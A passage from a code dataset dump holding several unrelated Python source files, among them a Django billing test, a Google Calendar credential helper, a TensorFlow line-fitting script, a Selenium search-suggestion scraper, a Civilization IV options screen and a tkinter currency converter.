cv2.WINDOW_KEEPRATIO | cv2.WINDOW_OPENGL)\n\n # Get images until buffer is empty\n while True:\n r = q.get()\n image = r.get() \n \n counter += 1\n if(counter % N == 0):\n t = timeit.default_timer()\n fps = N/(t-t_prev)\n t_prev = t\n print('fps:',fps)\n\n # Display the latest image\n cv2.imshow('Processed image',image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # When everything done, release the capture\n cap.release()\n\n cv2.destroyAllWindows()\n\n # Hack not to \"hang\" the window in *nix systems (Linux,Mac)\n cv2.waitKey(10)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"multi/camera_capture_multipool.py","file_name":"camera_capture_multipool.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"372735819","text":"from dashboard.tasks import *\nfrom django.test import TestCase\nfrom dashboard.models import Sensor, User, Location, BillingCycle, PowerCompany, TouPeak, EnergySum\nfrom datetime import datetime, date, timedelta\n\nclass BillUserTests(TestCase):\n\tdef setUp(self):\n\t\t# Make at least 2 tou_peaks and test Tou peak times\n\t\tself.user = User.objects.create_user(username=\"sprightful\",\n\t\t\t\t\t\t\t\t\t\tpassword=\"test_pass\",\n\t\t\t\t\t\t\t\t\t\temail=\"sprightful@test.com\",\n\t\t\t\t\t\t\t\t\t\tfirst_name=\"Adam\",\n\t\t\t\t\t\t\t\t\t\tlast_name=\"Cornerstone\")\n\n\t\tself.test_sensor_id = '0x0000C47F51019BE3'\n\t\tself.sensor = Sensor.objects.create(sensor_id=self.test_sensor_id,\n\t\t\t\t\t\t\t\t\t\tname=\"test\",\n\t\t\t\t\t\t\t\t\t\ton_peak_bank=0.0,\n\t\t\t\t\t\t\t\t\t\toff_peak_bank=0.0,\n\t\t\t\t\t\t\t\t\t\tflat_bank=0.0)\n\n\t\tself.power_company = PowerCompany.objects.create(name=\"Florida Power & Light\",\n\t\t\t\t\t\t\t\t\t\tabbreviation=\"FPL\",\n\t\t\t\t\t\t\t\t\t\tcustomer_charge=8.01,\n\t\t\t\t\t\t\t\t\t\tflat_rate=0.08839,\n\t\t\t\t\t\t\t\t\t\ton_peak_rate=0.19822,\n\t\t\t\t\t\t\t\t\t\toff_peak_rate=0.03967,\n\t\t\t\t\t\t\t\t\t\tpremium_rate=0.02019,\n\t\t\t\t\t\t\t\t\t\thours_change_tier=1000)\n\n\t\tself.user_profile = UserProfile.objects.create(user=self.user, stripe_id='cus_DIOFvd1RRm6rh1')\n\n\t\tself.location = Location.objects.create(owner=self.user,\n\t\t\t\t\t\t\t\t\t\tsensor=self.sensor,\n\t\t\t\t\t\t\t\t\t\tpower_company=self.power_company,\n\t\t\t\t\t\t\t\t\t\tname=\"Adam Weston Home\")\n\n\t\tself.billing_cycle1 = BillingCycle.objects.create(location=self.location,\n\t\t\t\t\t\t\t\t\t\tstart_date=datetime.now().date() + timedelta(days=-30),\n\t\t\t\t\t\t\t\t\t\tend_date=datetime.now().date() + timedelta(days=-1),\n\t\t\t\t\t\t\t\t\t\tbub_hours=4.0)\n\t\tself.billing_cycle2 = BillingCycle.objects.create(location=self.location,\n\t\t\t\t\t\t\t\t\t\tstart_date=datetime.now().date() + timedelta(days=-30),\n\t\t\t\t\t\t\t\t\t\tend_date=datetime.now().date() + timedelta(days=-2),\n\t\t\t\t\t\t\t\t\t\tbub_hours=4.0)\n\t\tself.tou_peak = TouPeak.objects.create(peak_name=\"TestPeak\",\n\t\t\t\t\t\t\t\t\t\tpeak_start=12,\n\t\t\t\t\t\t\t\t\t\tpeak_end=21,\n\t\t\t\t\t\t\t\t\t\tstart_date=date(2016, 1, 1),\n\t\t\t\t\t\t\t\t\t\tend_date=date(2020,1, 1),\n\t\t\t\t\t\t\t\t\t\tpower_company=self.power_company)\n\n\tdef test_check_to_bill_users(self):\n\t\tbilling_count = check_to_bill_users()\n\t\tself.assertEquals(1, billing_count)\n\n\tdef test_bill_user(self):\n\t\tself.assertEquals(True, True)","sub_path":"dashboard/tests/test_bill_user.py","file_name":"test_bill_user.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"476237908","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('subscriptions', '0005_subscription_date_subscribed'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='lineup',\n name='date_email_sent',\n field=models.DateTimeField(verbose_name='Last Email Sent', blank=True, null=True, help_text='Auto-filled. Records the last time an update email was sent to subscribers for this specific line up'),\n ),\n migrations.AddField(\n model_name='product',\n name='image',\n field=models.ImageField(blank=True, null=True, upload_to='', help_text=\"Displayed on a user's dashboard page, and in anymarketing messaging related to this product.\"),\n ),\n migrations.AlterField(\n model_name='lineup',\n name='date_uploaded',\n field=models.DateTimeField(default=django.utils.timezone.now),\n ),\n migrations.AlterField(\n model_name='subscription',\n name='date_subscribed',\n field=models.DateField(default=django.utils.timezone.now, help_text='Records the date this subscription became active.'),\n ),\n ]\n","sub_path":"subscriptions/migrations/0006_auto_20151130_1913.py","file_name":"0006_auto_20151130_1913.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"534996694","text":"import os.path\nimport pickle\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport logging_setup\n\n\nlogger = logging_setup.get_logger(\"credentials\")\n\n\nclass CredsManager:\n \"\"\"Setup creds\"\"\"\n\n def __init__(self):\n self.creds = self.setup_creds()\n\n def setup_creds(self):\n scopes = [\"https://www.googleapis.com/auth/calendar.readonly\"]\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists(\"credentials/token.pickle\"):\n with open(\"credentials/token.pickle\", \"rb\") as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n \"credentials/credentials.json\", scopes\n )\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open(\"credentials/token.pickle\", \"wb\") as token:\n pickle.dump(creds, token)\n\n return creds\n","sub_path":"credentials.py","file_name":"credentials.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"280463025","text":"#! /usr/bin/env python\n# -*-coding: utf-8 -*-\n\nimport sys\nimport numpy as np\n\n\nclass sqdm(object):\n \"\"\"\n function: show training process by a training bar\n params data_num: total number of training sample\n params batch_size: mini-batch size\n params mse: Mean square error in each iteration\n \"\"\"\n def __init__(self):\n self.bar_length = 30\n self.iter_num = 0\n\n def show_process(self, data_num, batch_size, train_loss=\"-\", train_score=\"-\", test_loss=\"-\", test_score=\"-\"):\n # update iter_num\n self.iter_num = np.minimum(self.iter_num+batch_size, data_num)\n\n # the progress of training\n percent = int(self.iter_num/data_num*100)\n num_arrow = int(percent / 100 * self.bar_length)\n num_dash = self.bar_length - num_arrow\n \n # limit decimal\n if isinstance(train_loss, float):\n train_loss = \"%.4f\"%(train_loss)\n if isinstance(train_score, float):\n train_score = \"%.3f\"%(train_score)\n if isinstance(test_loss, float):\n test_loss = \"%.4f\"%(test_loss)\n if isinstance(test_score, float):\n test_score = \"%.3f\"%(test_score)\n \n # show training bar\n epoch_bar = f\"{self.iter_num}/{data_num} \" + \"[\" + \">\" * num_arrow + \\\n \"-\" * num_dash + \"]\" + \" - \" + \"train_loss: \" + train_loss + \", \"\\\n \"train_score: \" + train_score + \", \" + \"test_loss: \" + test_loss + \\\n \", \" + \"test_score: \" + test_score + \"\\r\"\n\n # stdout write and flush\n sys.stdout.write(epoch_bar)\n sys.stdout.flush()\n\n # clear zero when a epoch end\n if self.iter_num == data_num:\n self.iter_num = 0\n","sub_path":"d2l_func/sqdm.py","file_name":"sqdm.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"507773286","text":"'''\r\nCalculates the line of best fit for a set of points in a csv using\r\n machine learning (1 layer).\r\nAuthor: Edward Zhou\r\n'''\r\n\r\nfrom __future__ import absolute_import, division, print_function, unicode_literals\r\nimport csv\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport time\r\n\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.optimizers import Adam\r\nfrom keras.layers import Dense\r\n\r\nimport gen_partition as gen\r\n#import gen_distribution as gen\r\n#import gen_kdf as gen\r\n\r\ndef get_file():\r\n '''\r\n Gets the input file name and feeds the file to other functions.\r\n '''\r\n validFile = False\r\n while not validFile:\r\n filename = input(\"Enter the name of the file with points: \")\r\n try:\r\n if not \".csv\" in filename:\r\n filename += \".csv\"\r\n file = open(filename)\r\n file = csv.reader(file, delimiter = \",\")\r\n validFile = True \r\n except FileNotFoundError:\r\n print(\"Could not find file in directory.\")\r\n print(\"Please enter a valid filename.\")\r\n\r\n xs, ys, slope, intercept, errors, sd = get_points(file)\r\n\r\n #uncomment to use resampling to generate points\r\n genx, geny = gen.generator(xs, slope, intercept, errors, len(xs))\r\n\r\n #uncomment to use a distribution to generate points\r\n #genx, geny = gen.generator(xs, slope, intercept, errors, sd, len(xs))\r\n\r\n #uncomment to use kernel desnity to generate points\r\n #genx, geny = gen.generator(xs, ys, len(xs))\r\n\r\n print(\"\\nSlope: %.5f\\nIntercept: %.5f\"%(slope, intercept))\r\n write_gen(filename, genx, geny)\r\n time.sleep(5)\r\n\r\ndef get_points(file):\r\n '''\r\n Reads the input file of points, and outputs an estimation using\r\n machine learning.\r\n Args:\r\n file (file) : a file that contains the lines with points.\r\n Returns:\r\n xs (arr) : an array of x values stored as floats.\r\n ys (arr) : an array of y values stored as floats.\r\n slope (float) : the updated slope of the model (a in y = ax+b).\r\n intercept (float) : the updated intercept of the model (b in y = ax+b).\r\n '''\r\n xs = []\r\n ys = []\r\n for line in enumerate(file):\r\n if line[1][0][0] in \"-0123456789\":\r\n xs.append(float(line[1][0]))\r\n ys.append(float(line[1][1]))\r\n\r\n xs = np.array(xs, dtype = float)\r\n ys = np.array(ys, dtype = float)\r\n\r\n slope, intercept = make_train_model(xs, ys)\r\n\r\n #prints the SSError of all the points for the final model\r\n print(\"\\nTotal Squared Loss:\")\r\n errors, sd = find_errors(xs, ys, slope, intercept)\r\n\r\n return xs, ys, slope, intercept, errors, sd\r\n\r\ndef make_train_model(xs, ys):\r\n '''\r\n Trains the model using the given x and y values.\r\n Args:\r\n xs (arr) : an array of x values stored as floats.\r\n ys (arr) : an array of y values stored as floats.\r\n Returns:\r\n slope (float) : the slope of the line of best fit.\r\n intercept (float) : the intercept of the line of best fit.\r\n '''\r\n model = tf.keras.Sequential(tf.keras.layers.Dense(units=1, input_shape=[1]))\r\n\r\n model.compile(loss='mean_squared_error', optimizer=tf.keras.optimizers.Adam(0.1))\r\n\r\n #loss function\r\n model.fit(xs, ys, epochs=10, verbose=2, steps_per_epoch = int(xs.size/2))\r\n\r\n slope, intercept = model.get_weights()\r\n\r\n return slope, intercept\r\n\r\ndef find_errors(xs, ys, slope, intercept):\r\n '''\r\n Prints the sum of errors squared for all x,y pairs given a slope and intercept.\r\n Args:\r\n xs (arr) : an array of x values stored as floats.\r\n ys (arr) : an array of y values stored as floats.\r\n slope (float) : the slope of the current model (a in y = ax+b).\r\n intercept (float) : the y-intercept of the current model (b in y = ax+b).\r\n Returns:\r\n errors (arr) : an array the residuals from the line of best fit.\r\n sd (float) : the average standard deviation from the line of best fit.\r\n '''\r\n loss = tot = 0\r\n errors = []\r\n for i in range(xs.size):\r\n residual = (ys[i] - (slope*xs[i]+intercept))\r\n loss += residual**2\r\n errors.append(residual)\r\n loss = loss[0][0]\r\n print(loss)\r\n return errors, (loss/xs.size)**0.5\r\n\r\ndef write_gen(filename, xs, ys):\r\n '''\r\n Writes out the generated points in a csv file.\r\n Args:\r\n filename (str) : the name of the input file.\r\n xs (arr) : an array of generated x values.\r\n ys (arr) : an array of generated y values.\r\n '''\r\n outFileName = 'gen_'+filename\r\n with open(outFileName, 'w', newline = '') as pointsOut:\r\n slopeWrite = csv.writer(pointsOut)\r\n slopeWrite.writerow(['x', 'y'])\r\n for i in range(len(xs)):\r\n slopeWrite.writerow(['%f'%xs[i], '%f'%ys[i]])\r\n print(\"Generated points located in %s\"%outFileName)\r\n\r\nif __name__ == '__main__':\r\n get_file()\r\n","sub_path":"calc_ml.py","file_name":"calc_ml.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"644718000","text":"#authored by jgam\n\"\"\"\npossible db variables!\n\n\"\"\"\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n#from lxml import html\n#import requests\nimport csv\nimport os\n#import pandas as pd\n#from pandas import ExcelWriter\n#from pandas import ExcelFile\n#import numpy as np\nimport xlwt\nfrom datetime import date\n\n\n\ntoday = str(date.today())\n\n\ndef sel_suggest(keywords, file_name, work_book):\n\t#ff = csv.writer(open(result_dir+file_name, \"a+\"))\n\tfile_name = file_name[:len(file_name)-4]\n\tdriver = webdriver.Chrome('/Users/ascent/Downloads/chromedriver')\n\tdriver.get('https://www.google.com/webhp?hl=ja&gl=jp')#/search?hl=ko&gl=kr')\n\t#here we should use a for loop\n\tcolumns = 0\n\tsheet_name = 'hong-sam'\n\twork_sheet = work_book.add_sheet(sheet_name)\n\tfor keyword in keywords:\n\t\tsuggest_list = []\n\t\tsuggest_list.append(keyword)\n\t\tif keyword[-1] == '_':\n\t\t\tkeyword = keyword.replace('_',' ')\n\t\tprint(keyword)\n\t\tsheet_name =str(columns)\n\t\tsearch = driver.find_element_by_name('q')\n\t\tsearch.send_keys(keyword)\n\t\tprint('time sleep')\n\t\ttime.sleep(5)\n\t\twhile_cond = True\n\t\tchild_index = 1\n\t\t\n\n\t\twhile while_cond:\n\t\t\ttry:\n\t\t\t\t#print('should be here 8 times')\n\t\t\t\tadded = driver.find_element(By.XPATH, '//*[@id=\"tsf\"]/div[2]/div/div[2]/div[2]/ul/li['+str(child_index)+']/div[1]/div/span')\n\t\t\t\tadded_word = added.text\n\t\t\t\t#print(added_word)\n\t\t\t\tsuggest_list.append(added_word)\n\t\t\t\tchild_index += 1\n\t\t\texcept:\n\t\t\t\tprint('end of child_index and done')\n\t\t\t\twhile_cond = False\n\t\t\n\t\t#also erase the search keyword in a search keyword tab.\n\t\tsearch.clear()\n\t\t#this needs to be written in a column of excel\n\t\t\n\t\t\n\t\t\n\n\t\tfor row, item in enumerate(suggest_list):\n\t\t\twork_sheet.write(row, columns, item)\n\n\t\tcolumns += 1\n\t\t\n\t\tprint(suggest_list)\n\treturn 0\n\n\n\n\n#get the list of all the keywords.\n\n\nfiles = [f for f in os.listdir('.') if os.path.isfile(f)]\n#open the excel file here with bunch of tabs\nwork_book = xlwt.Workbook()\n\n\nfor file in files:\n\tif file[len(file)-4:len(file)] != '.csv':\n\t\tcontinue\n\tkeywords = []\n\tunique_keywords = []\n\treal_keywords = []\n\tfile_name = ''\n\tfile_name = today + str(file)[:len(file)-4]+'_suggests_results.csv'\n\twith open(file) as f:\n\t\treader = csv.reader(f)\n\t\tfor i in reader:\n\t\t\tkeywords.append(i[0])\n\tkeywords = keywords[1:]\n\tfor keyword in keywords:\n\t\tif keyword[-1] == '_':\n\t\t\tcontinue\n\t\telse:\n\t\t\tunique_keywords.append(keyword)\n\n\tfor unique in unique_keywords:\n\t\treal_keywords.append(unique)\n\t\treal_keywords.append(unique+'_')\n\tprint(real_keywords)\n\tsel_suggest(real_keywords, file_name, work_book)\n\twork_book.save(file_name)\n\n\n\t\n","sub_path":"google/suggest_kw.py","file_name":"suggest_kw.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"70600424","text":"#! /usr/bin/env python3\n\nimport pdf_processor, texting\nimport time\n\npfdproc = pdf_processor.PdfProcessor()\n\nwhile True:\n\n Questions = pfdproc.getQuestion()\n message = ''\n for Question in Questions:\n message = message + Question\n print('The message char size: ' + str(len(message)) )\n \n if len(message) < 300:\n print('This will need to be fixed eventually.')\n elif len(message) <= 1600:\n message = message + 'Subject: ' + pfdproc.getSubject()\n print(texting.text_msg(message)) \n time.sleep(900)\n else: \n for Question in Questions:\n while len(message) < 1600:\n message = message + Question\n \n message = message + 'Subject: ' + pfdproc.getSubject()\n print(texting.text_msg(message))\n time.sleep(900)\n\n \n \n \n\n\n\n\n","sub_path":"python/study_buddy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"441515620","text":"import chainer\nimport chainer.functions as F\nimport chainer.links as L\n\nclass AE(chainer.Chain):\n\n def __init__(self, n_dimz):\n self.n_dimz = n_dimz\n super(AE, self).__init__()\n\n with self.init_scope():\n self.conv1 = L.Convolution2D(None, 16, 5)\n self.deconv2 = L.Deconvolution2D(None, 1, 5)\n\n def __call__(self, x):\n h = self.conv1(x)\n h = self.deconv2(h)\n return F.sigmoid(h)\n","sub_path":"Generation/AE/Convolution_AE/Network/mnist_net.py","file_name":"mnist_net.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"622068124","text":"#\n# Toffer - Option screen for city related options.\n#\nfrom CvPythonExtensions import *\n\nclass CityOptions:\n\tdef __init__(self, screen, mainInterface):\n\t\timport ScreenResolution as SR\n\t\tself.xRes = xRes = SR.x\n\t\tself.yRes = yRes = SR.y\n\t\tself.aFontList = aFontList = SR.aFontList\n\n\t\tself.TRNSLTR = CyTranslator()\n\t\tafm = CyArtFileMgr()\n\t\tself.artPathCheckbox0 = afm.getInterfaceArtInfo(\"ART_DEF_CHECKBOX_UNCHECKED\").getPath()\n\t\tself.artPathCheckbox1 = afm.getInterfaceArtInfo(\"ART_DEF_CHECKBOX_CHECKED\").getPath()\n\n\t\tself.drawOptions(screen, mainInterface)\n\n\tdef drawOptions(self, screen, mainInterface):\n\t\txRes = self.xRes\n\t\tyRes = self.yRes\n\t\taFontList = self.aFontList\n\n\t\tTRNSLTR = self.TRNSLTR\n\t\teWidGen = WidgetTypes.WIDGET_GENERAL\n\t\teFontGame = FontTypes.GAME_FONT\n\t\tePnlMain = PanelStyles.PANEL_STYLE_MAIN\n\t\teBtnLabel = ButtonStyles.BUTTON_STYLE_LABEL\n\t\teBtnStd = ButtonStyles.BUTTON_STYLE_STANDARD\n\t\tdx = 128 + xRes / 4\n\t\tdy = yRes / 2\n\t\tx0 = (xRes - dx) / 2\n\t\ty0 = (yRes - dy) / 2\n\t\tiMidX = dx / 2\n\t\tBG = \"CityOptionBG\"\n\t\tscreen.addPanel(BG, \"\", \"\", False, False, x0, y0, dx, dy, ePnlMain)\n\t\tscreen.setStyle(BG, \"SF_CtrlTheme_Civ4_Control_Panel_Black80_Style\")\n\t\tscreen.setLabelAt(\"\", BG, aFontList[2] + \"City Options\", 1<<2, iMidX, 8, 0, eFontGame, eWidGen, 1, 2)\n\t\tscrlPnl = \"ScrollCO\"\n\n\t\tySpace = 16 + yRes / 60\n\t\tself.iSizeCB = iSizeCB = ySpace - (ySpace % 4) - 8\n\t\tszCheckbox0 = self.artPathCheckbox0\n\t\tszCheckbox1 = self.artPathCheckbox1\n\n\t\tscreen.addScrollPanel(scrlPnl, \"\", x0, y0 + ySpace, dx, dy - 3*ySpace, ePnlMain)\n\t\tscreen.setStyle(scrlPnl, \"ScrollPanel_Alt_Style\")\n\t\ty = 0\n\t\tscreen.setTextAt(\"CO_IconSize0\", scrlPnl, aFontList[4] + TRNSLTR.getText(\"TXT_OPTION_CITY_ICON_SIZE\", (mainInterface.CityOpt.getBuildIconSize(),)), 1<<0, 0, y, 0, eFontGame, eWidGen, 1, 1)\n\n\t\ty += ySpace\n\t\tself.yHideUnconstructableBuildings = y\n\t\tif mainInterface.CityOpt.isHideUnconstructableBuildings():\n\t\t\timg = szCheckbox1\n\t\t\tself.bHideUnconstructableBuildings = True\n\t\telse:\n\t\t\timg = szCheckbox0\n\t\t\tself.bHideUnconstructableBuildings = False\n\n\t\tscreen.setImageButtonAt(\"HideUnconstructableBuildings0\", scrlPnl, img, 0, y, iSizeCB, iSizeCB, eWidGen, 1, 2)\n\t\tszTxt = aFontList[4] + TRNSLTR.getText(\"TXT_OPTION_CITY_HIDE_UNCONSTRUCTABLE_BUILDINGS\", ())\n\t\tscreen.setTextAt(\"HideUnconstructableBuildings1\", scrlPnl, szTxt, 1<<0, iSizeCB + 4, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\ty += ySpace\n\t\tself.yHideUntrainableUnits = y\n\t\tif mainInterface.CityOpt.isHideUntrainableUnits():\n\t\t\timg = szCheckbox1\n\t\t\tself.bHideUntrainableUnits = True\n\t\telse:\n\t\t\timg = szCheckbox0\n\t\t\tself.bHideUntrainableUnits = False\n\n\t\tscreen.setImageButtonAt(\"HideUntrainableUnits0\", scrlPnl, img, 0, y, iSizeCB, iSizeCB, eWidGen, 1, 2)\n\t\tszTxt = aFontList[4] + TRNSLTR.getText(\"TXT_OPTION_CITY_HIDE_UNTRAINABLE_UNITS\", ())\n\t\tscreen.setTextAt(\"HideUntrainableUnits1\", scrlPnl, szTxt, 1<<0, iSizeCB + 4, y, 0, eFontGame, eWidGen, 1, 2)\n\n\t\t# Exit button at the end.\n\t\tiBtnDx = 32 + xRes / 60\n\t\tscreen.setButtonGFC(\"ExitCO\", aFontList[2] + \"OK\", \"\", x0 + iMidX - iBtnDx/2, y0 + dy - ySpace - 4, iBtnDx, ySpace, eWidGen, 1, 2, eBtnStd)\n\n\n\tdef handleInput(self, screen, inputClass, mainInterface):\n\t\tNAME = inputClass.szFunctionName\n\t\tiCode = inputClass.eNotifyCode\n\n\t\tmainInterface.hideTooltip(screen)\n\n\t\tif iCode == 16: # Key Down\n\t\t\tif inputClass.iData in (1, 44): # Esc and Enter\n\t\t\t\tself.exit(screen, mainInterface)\n\n\t\telif iCode == 4: # Mouse Enter\n\t\t\tif NAME == \"CO_IconSize\":\n\t\t\t\tmainInterface.updateTooltip(screen, self.TRNSLTR.getText(\"TXT_OPTION_CITY_ICON_SIZE_HELP\", ()))\n\n\t\t\telif NAME == \"HideUnconstructableBuildings\":\n\t\t\t\tmainInterface.updateTooltip(screen, self.TRNSLTR.getText(\"TXT_OPTION_CITY_HIDE_UNCONSTRUCTABLE_BUILDINGS_HELP\", ()))\n\n\t\t\telif NAME == \"HideUntrainableUnits\":\n\t\t\t\tmainInterface.updateTooltip(screen, self.TRNSLTR.getText(\"TXT_OPTION_CITY_HIDE_UNTRAINABLE_UNITS_HELP\", ()))\n\n\t\telif not iCode: # click\n\t\t\tif NAME == \"ExitCO\":\n\t\t\t\tself.exit(screen, mainInterface)\n\n\t\t\telif NAME == \"CO_IconSize\":\n\t\t\t\tpopup = CyPopup(4999, EventContextTypes.EVENTCONTEXT_SELF, True)\n\t\t\t\tpopup.setPosition(self.xRes/3, self.yRes/3)\n\t\t\t\tpopup.createSpinBox(0, \"\", mainInterface.CityOpt.getBuildIconSize(), 4, 128, 32)\n\t\t\t\tpopup.launch(True, PopupStates.POPUPSTATE_IMMEDIATE)\n\n\t\t\telif NAME == \"HideUnconstructableBuildings\":\n\t\t\t\tbNewState = not self.bHideUnconstructableBuildings\n\t\t\t\tself.bHideUnconstructableBuildings = bNewState\n\t\t\t\tmainInterface.CityOpt.setHideUnconstructableBuildings(bNewState)\n\t\t\t\tif bNewState:\n\t\t\t\t\timg = self.artPathCheckbox1\n\t\t\t\telse: img = self.artPathCheckbox0\n\t\t\t\tscreen.setImageButtonAt(\"HideUnconstructableBuildings0\", \"ScrollCO\", img, 0, self.yHideUnconstructableBuildings, self.iSizeCB, self.iSizeCB, WidgetTypes.WIDGET_GENERAL, 1, 2)\n\n\t\t\telif NAME == \"HideUntrainableUnits\":\n\t\t\t\tbNewState = not self.bHideUntrainableUnits\n\t\t\t\tself.bHideUntrainableUnits = bNewState\n\t\t\t\tmainInterface.CityOpt.setHideUntrainableUnits(bNewState)\n\t\t\t\tif bNewState:\n\t\t\t\t\timg = self.artPathCheckbox1\n\t\t\t\telse: img = self.artPathCheckbox0\n\t\t\t\tscreen.setImageButtonAt(\"HideUntrainableUnits0\", \"ScrollCO\", img, 0, self.yHideUntrainableUnits, self.iSizeCB, self.iSizeCB, WidgetTypes.WIDGET_GENERAL, 1, 2)\n\n\t\treturn 1 # Dominant screen, consumes all input.\n\n\n\tdef exit(self, screen, mainInterface):\n\t\tscreen.deleteWidget(\"ExitCO\")\n\t\tscreen.deleteWidget(\"ScrollCO\")\n\t\tscreen.deleteWidget(\"CityOptionBG\")\n\t\tmainInterface.cityOptions = None\n\t\timport BugOptions\n\t\tBugOptions.getOptions(mainInterface.CityOpt._id).write()\n\n","sub_path":"Assets/Python/Screens/ExtensionScreens/CityOptions.py","file_name":"CityOptions.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"505025750","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @author David Galván Fontalba\n\nfrom tkinter import *\nimport requests\nfrom tkinter import ttk\n\n\nclass Aplicacion:\n root = Tk()\n # Texto para la cantidad en euros a convertir\n info = Text(root, width=50, height=1, state='disabled')\n # Texto para escribir el resultado\n result = Text(root, width=50, height=1, state='disabled')\n # ComboBox divisa a convertir\n to_convert = ttk.Combobox(root,\n values=[\"CAD\", \"HKD\", \"ISK\", \"PHP\", \"DKK\", \"HUF\", \"CZK\", \"AUD\", \"RON\", \"SEK\",\n \"IDR\", \"INR\", \"BRL\", \"RUB\", \"HRK\", \"JPY\", \"THB\", \"CHF\", \"SGD\", \"PLN\", \"BGN\",\n \"TRY\", \"CNY\", \"NOK\", \"NZD\", \"ZAR\", \"USD\", \"MXN\", \"ILS\", \"GBP\", \"KRW\", \"MYR\"],\n state='readonly')\n button_list = []\n\n def __init__(self):\n\n self.root.geometry('430x350')\n self.root.configure(bg='beige')\n self.root.title('Conversor de euros a otras divisas.')\n\n self.info.grid(column=0, row=0, padx=10, pady=20, columnspan=3)\n\n index_column = 0\n index_row = 2\n for i in [7, 8, 9, 4, 5, 6, 1, 2, 3, 0, '.', '<']:\n if i == 7:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(7))\n elif i == 8:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(8))\n elif i == 9:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(9))\n elif i == 4:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(4))\n elif i == 5:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(5))\n elif i == 6:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(6))\n elif i == 1:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(1))\n elif i == 2:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(2))\n elif i == 3:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(3))\n elif i == 0:\n button = ttk.Button(self.root, text=i, command=lambda: self.write(0))\n elif i == '.':\n button = ttk.Button(self.root, text=i, command=lambda: self.write('.'))\n elif i == '<':\n button = ttk.Button(self.root, text=i, command=lambda: self.remove())\n\n self.button_list.append(button)\n button.grid(column=index_column, row=index_row, padx=5, pady=5)\n if index_column >= 2:\n index_column = 0\n index_row += 1\n else:\n index_column += 1\n\n # ComboBox para las monedas a convertir\n self.to_convert.grid(column=0, row=6, padx=10, pady=10, columnspan=3)\n\n # Texto para escribir el resultado\n self.result.grid(column=0, row=7, padx=10, pady=10, columnspan=3)\n\n # Boton confirmar\n ok_button = ttk.Button(self.root, text='OK', command=lambda: self.calcs())\n ok_button.grid(column=1, row=8, padx=10, pady=15)\n self.root.mainloop()\n\n def calcs(self):\n self.result.configure(state='normal')\n self.result.delete(\"1.0\", END)\n to_convert_now = self.to_convert.get()\n\n if to_convert_now != 'EUR':\n url = \"https://api.exchangeratesapi.io/latest?symbols=\" + to_convert_now\n else:\n print('Debes elegir dos divisas diferentes')\n exit(1)\n\n # petición al servidor de la API\n respuesta = requests.get(url)\n\n if respuesta.status_code != 200:\n print(\"Error \", respuesta.status_code)\n exit(1)\n\n data = respuesta.json()\n\n amount = float(self.info.get(\"1.0\", END))\n\n if to_convert_now != 'EUR':\n change = float(data['rates'][to_convert_now])\n\n # Hacemos el calculo correspondiente para devolverle la conversión de la cantidad concreta que ha introducido\n # ahora que sabemos cuál es la conversión concreta a hacer.\n converted = amount * change\n\n self.result.insert(\"1.0\", f'{amount} € son {converted} {to_convert_now}')\n self.result.configure(state='disabled')\n\n def write(self, valor):\n self.info.configure(state='normal')\n self.info.insert(END, valor)\n self.info.configure(state='disabled')\n\n def remove(self):\n self.info.configure(state='normal')\n self.info.delete(\"1.0\", END)\n self.info.configure(state='disabled')\n\n\ndef main():\n Aplicacion()\n return\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"LM/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"22945161","text":"#!/usr/bin/env python\n# license removed for brevity\n# encoding: 